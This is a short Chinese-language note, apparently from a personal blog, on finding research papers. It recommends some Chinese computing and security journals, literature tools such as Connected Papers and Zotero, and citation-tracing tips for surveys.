CCF推荐中文论文虽然确实好的期刊大部分都是国外的,尤其是top,但不能一棒子否认国内的期刊,国内也是要发展的,也不能都投到国外,中文期刊还是有一些不错的,可以参考. 尤其是前期调研,读大段英语费劲的时候,可以先看看中文的,(不过话说是不是英语很好了就没这个问题了..233) 信息安全学报 http://jcs.iie.ac.cn/xxaqxb/ch/index.aspx 电子学报 https://www.ejournal.org.cn/CN/0372-2112/home.shtml 计算机学报其他途径获取公众号,如gossip 硕博论文二、论文工具与经验https://www.researchrabbit.ai/ 工具:Connected Papers https://www.connectedpapers.com/ https://letpub.com.cn/ 可以查影响因子什么的大佬们: https://dl.acm.org/profile/81100363323 苏璞睿:二进制漏洞 https://people.ucas.edu.cn/~purui 信息计量学 zotero一个非常好用的文献管理工具, 还可以选择翻译! 经验找论文可以以一篇好的综述，往旧的年份找的话，看它引用，往新的年份找的话，可以看谁引用了它看引用数量也可以看出来文章的质量,(就不用看期刊的等级了)